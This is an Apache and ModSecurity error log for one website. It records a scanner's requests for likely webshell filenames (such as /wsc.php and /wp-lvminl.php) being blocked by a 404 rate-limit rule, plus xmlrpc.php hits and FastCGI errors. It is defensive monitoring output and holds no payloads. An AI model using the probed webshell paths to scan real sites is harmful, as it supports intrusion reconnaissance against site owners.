[Sun Apr 05 09:33:16.829378 2026] [:error] [pid 45305:tid 45390] [client 172.213.234.56:1452] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG73OjDQjr7aWhjflDCmQAAAJM"]
[Sun Apr 05 09:33:18.435347 2026] [:error] [pid 30921:tid 30944] [client 172.213.234.56:13941] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG73mFGQVn8Q0ueB27G1AAAARU"]
[Sun Apr 05 09:33:19.929342 2026] [:error] [pid 45305:tid 45390] [client 172.213.234.56:58078] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG73-jDQjr7aWhjflDCngAAAJM"]
[Sun Apr 05 09:33:20.759027 2026] [:error] [pid 30921:tid 30927] [client 172.213.234.56:18777] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG74GFGQVn8Q0ueB27G2AAAAQQ"]
[Sun Apr 05 09:33:21.629347 2026] [:error] [pid 45304:tid 45359] [client 172.213.234.56:34509] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG74Q5jnqDKKovdRklCaAAAAE8"]
[Sun Apr 05 09:33:22.167885 2026] [:error] [pid 45304:tid 45365] [client 172.213.234.56:18767] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG74g5jnqDKKovdRklCawAAAFU"]
[Sun Apr 05 09:33:23.214299 2026] [:error] [pid 45409:tid 45429] [client 172.213.234.56:54846] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG749Ht_Oyw03gjCNhGwgAAANI"]
[Sun Apr 05 09:33:23.808333 2026] [:error] [pid 45303:tid 45341] [client 172.213.234.56:34528] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG747boQ9eViZ4hdnnK5gAAABg"]
[Sun Apr 05 09:33:24.468147 2026] [:error] [pid 45409:tid 45427] [client 172.213.234.56:13934] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG75NHt_Oyw03gjCNhGxQAAANA"]
[Sun Apr 05 09:33:25.329685 2026] [:error] [pid 45304:tid 45352] [client 172.213.234.56:58067] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG75Q5jnqDKKovdRklCcQAAAEg"]
[Sun Apr 05 09:33:25.912336 2026] [:error] [pid 45409:tid 45428] [client 172.213.234.56:13918] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG75dHt_Oyw03gjCNhGyQAAANE"]
[Sun Apr 05 09:33:26.472709 2026] [:error] [pid 45303:tid 45340] [client 172.213.234.56:34557] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG75rboQ9eViZ4hdnnK6wAAABc"]
[Sun Apr 05 09:33:27.015471 2026] [:error] [pid 45303:tid 45331] [client 172.213.234.56:10405] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG757boQ9eViZ4hdnnK7wAAAA4"]
[Sun Apr 05 09:33:27.613987 2026] [:error] [pid 45305:tid 45379] [client 172.213.234.56:13950] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG75-jDQjr7aWhjflDCqQAAAIg"]
[Sun Apr 05 09:33:28.159383 2026] [:error] [pid 30921:tid 30935] [client 172.213.234.56:54843] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG76GFGQVn8Q0ueB27G5QAAAQw"]
[Sun Apr 05 09:33:28.661431 2026] [:error] [pid 45305:tid 45392] [client 172.213.234.56:25478] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG76OjDQjr7aWhjflDCqwAAAJU"]
[Sun Apr 05 09:33:29.144880 2026] [:error] [pid 30921:tid 30930] [client 172.213.234.56:62001] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG76WFGQVn8Q0ueB27G6QAAAQc"]
[Sun Apr 05 09:33:29.625288 2026] [:error] [pid 30921:tid 30945] [client 172.213.234.56:54794] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG76WFGQVn8Q0ueB27G6wAAARY"]
[Sun Apr 05 09:33:30.158437 2026] [:error] [pid 45305:tid 45372] [client 172.213.234.56:34515] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG76ujDQjr7aWhjflDCsgAAAIE"]
[Sun Apr 05 09:33:30.687100 2026] [:error] [pid 45305:tid 45380] [client 172.213.234.56:54800] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG76ujDQjr7aWhjflDCtAAAAIk"]
[Sun Apr 05 09:33:31.211045 2026] [:error] [pid 45304:tid 45366] [client 172.213.234.56:10666] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG76w5jnqDKKovdRklCdwAAAFY"]
[Sun Apr 05 09:33:31.832530 2026] [:error] [pid 30921:tid 30928] [client 172.213.234.56:54816] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG762FGQVn8Q0ueB27G8AAAAQU"]
[Sun Apr 05 09:33:32.355964 2026] [:error] [pid 45303:tid 45338] [client 172.213.234.56:10408] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG77LboQ9eViZ4hdnnK9gAAABU"]
[Sun Apr 05 09:33:32.844789 2026] [:error] [pid 45305:tid 45388] [client 172.213.234.56:61968] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG77OjDQjr7aWhjflDCwwAAAJE"]
[Sun Apr 05 09:33:33.394306 2026] [:error] [pid 45409:tid 45413] [client 172.213.234.56:25549] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG77dHt_Oyw03gjCNhG0wAAAMI"]
[Sun Apr 05 09:33:33.999874 2026] [:error] [pid 45303:tid 45322] [client 172.213.234.56:54844] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG77bboQ9eViZ4hdnnK9wAAAAU"]
[Sun Apr 05 09:33:34.468508 2026] [:error] [pid 45305:tid 45391] [client 172.213.234.56:61953] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG77ujDQjr7aWhjflDCyQAAAJQ"]
[Sun Apr 05 09:33:34.962089 2026] [:error] [pid 45305:tid 45378] [client 172.213.234.56:18801] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG77ujDQjr7aWhjflDCywAAAIc"]
[Sun Apr 05 09:33:35.427753 2026] [:error] [pid 45305:tid 45393] [client 172.213.234.56:10387] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG77-jDQjr7aWhjflDCzQAAAJY"]
[Sun Apr 05 09:33:35.911903 2026] [:error] [pid 45303:tid 45332] [client 172.213.234.56:10380] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG777boQ9eViZ4hdnnK-QAAAA8"]
[Sun Apr 05 09:33:36.475379 2026] [:error] [pid 45304:tid 45354] [client 172.213.234.56:13913] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG78A5jnqDKKovdRklCfQAAAEo"]
[Sun Apr 05 09:33:36.959191 2026] [:error] [pid 45303:tid 45323] [client 172.213.234.56:10631] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG78LboQ9eViZ4hdnnK_AAAAAY"]
[Sun Apr 05 09:33:37.442042 2026] [:error] [pid 45304:tid 45368] [client 172.213.234.56:1987] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG78Q5jnqDKKovdRklCgAAAAFg"]
[Sun Apr 05 09:33:37.995575 2026] [:error] [pid 45305:tid 45389] [client 172.213.234.56:61974] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG78ejDQjr7aWhjflDC1gAAAJI"]
[Sun Apr 05 09:33:38.460817 2026] [:error] [pid 45409:tid 45422] [client 172.213.234.56:1410] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG78tHt_Oyw03gjCNhG1wAAAMs"]
[Sun Apr 05 09:33:39.016175 2026] [:error] [pid 45303:tid 45337] [client 172.213.234.56:18757] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG787boQ9eViZ4hdnnLBAAAABQ"]
[Sun Apr 05 09:33:39.529080 2026] [:error] [pid 45303:tid 45321] [client 172.213.234.56:54785] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG787boQ9eViZ4hdnnLBQAAAAQ"]
[Sun Apr 05 09:33:40.146177 2026] [:error] [pid 45305:tid 45372] [client 172.213.234.56:61990] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG79OjDQjr7aWhjflDC2QAAAIE"]
[Sun Apr 05 09:33:40.660200 2026] [:error] [pid 45305:tid 45377] [client 172.213.234.56:25492] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG79OjDQjr7aWhjflDC3AAAAIY"]
[Sun Apr 05 09:33:41.245512 2026] [:error] [pid 45305:tid 45374] [client 172.213.234.56:58099] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG79ejDQjr7aWhjflDC4QAAAIM"]
[Sun Apr 05 09:33:41.726607 2026] [:error] [pid 45409:tid 45422] [client 172.213.234.56:10667] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG79dHt_Oyw03gjCNhG5QAAAMs"]
[Sun Apr 05 09:33:42.233476 2026] [:error] [pid 45305:tid 45394] [client 172.213.234.56:10425] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG79ujDQjr7aWhjflDC6QAAAJc"]
[Sun Apr 05 09:33:42.735061 2026] [:error] [pid 45409:tid 45411] [client 172.213.234.56:13923] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG79tHt_Oyw03gjCNhG5wAAAMA"]
[Sun Apr 05 09:33:43.277309 2026] [:error] [pid 30921:tid 30927] [client 172.213.234.56:18814] [client 172.213.234.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG792FGQVn8Q0ueB27HAAAAAQQ"]
[Sun Apr 05 09:34:33.754848 2026] [:error] [pid 45303:tid 45329] [client 45.131.195.235:65113] [client 45.131.195.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.131.195.235, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adG8KbboQ9eViZ4hdnnLLwAAAAw"]
[Sun Apr 05 09:34:33.766176 2026] [proxy_fcgi:error] [pid 45303:tid 45329] [client 45.131.195.235:65113] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 10:56:40.350166 2026] [proxy_fcgi:error] [pid 45409:tid 45415] [client 20.207.200.217:8956] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 10:56:40.492416 2026] [proxy_fcgi:error] [pid 45409:tid 45417] [client 20.207.200.217:8956] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 10:56:40.917440 2026] [proxy_fcgi:error] [pid 45409:tid 45419] [client 20.207.200.217:8956] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 10:56:41.062127 2026] [proxy_fcgi:error] [pid 45409:tid 45423] [client 20.207.200.217:8956] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 10:56:41.636621 2026] [proxy_fcgi:error] [pid 45409:tid 45435] [client 20.207.200.217:8956] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 10:56:41.916178 2026] [:error] [pid 45409:tid 45417] [client 20.207.200.217:8956] [client 20.207.200.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "adHPadHt_Oyw03gjCNh64AAAAMY"]
[Sun Apr 05 10:56:42.479837 2026] [:error] [pid 45305:tid 45391] [client 20.207.200.217:8900] [client 20.207.200.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "adHPaujDQjr7aWhjflAKegAAAJQ"]
[Sun Apr 05 10:56:43.042489 2026] [:error] [pid 45305:tid 45384] [client 20.207.200.217:13035] [client 20.207.200.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "adHPa-jDQjr7aWhjflAKfwAAAI0"]
[Sun Apr 05 10:56:43.603471 2026] [:error] [pid 30921:tid 30945] [client 20.207.200.217:5597] [client 20.207.200.217] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "adHPa2FGQVn8Q0ueB27uFwAAARY"]
[Sun Apr 05 11:34:45.641706 2026] [proxy_fcgi:error] [pid 45303:tid 45321] [client 20.199.97.195:2209] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 12:52:33.398543 2026] [:error] [pid 45305:tid 45393] [client 110.136.116.95:58224] [client 110.136.116.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.136.116.95, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adHqkejDQjr7aWhjflBrOgAAAJY"]
[Sun Apr 05 12:52:33.410534 2026] [proxy_fcgi:error] [pid 45305:tid 45393] [client 110.136.116.95:58224] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 13:56:28.416943 2026] [:error] [pid 30921:tid 30941] [client 182.8.98.18:25262] [client 182.8.98.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.8.98.18, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adH5jGFGQVn8Q0ueB247yQAAARI"]
[Sun Apr 05 13:56:28.427581 2026] [proxy_fcgi:error] [pid 30921:tid 30941] [client 182.8.98.18:25262] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 13:58:09.111363 2026] [proxy_fcgi:error] [pid 45305:tid 45386] [client 170.205.31.198:51918] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 13:58:19.475174 2026] [proxy_fcgi:error] [pid 45409:tid 45426] [client 170.205.31.198:50675] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 14:20:22.225038 2026] [proxy_fcgi:error] [pid 45305:tid 45379] [client 68.221.137.197:49884] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 17:32:41.773728 2026] [:error] [pid 30921:tid 30924] [client 123.253.49.74:55709] [client 123.253.49.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.253.49.74, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adIsOWFGQVn8Q0ueB26nIgAAAQE"]
[Sun Apr 05 17:32:41.784490 2026] [proxy_fcgi:error] [pid 30921:tid 30924] [client 123.253.49.74:55709] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 17:33:09.520280 2026] [:error] [pid 45303:tid 45337] [client 113.186.139.162:64843] [client 113.186.139.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.186.139.162, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adIsVbboQ9eViZ4hdnmjzwAAABQ"]
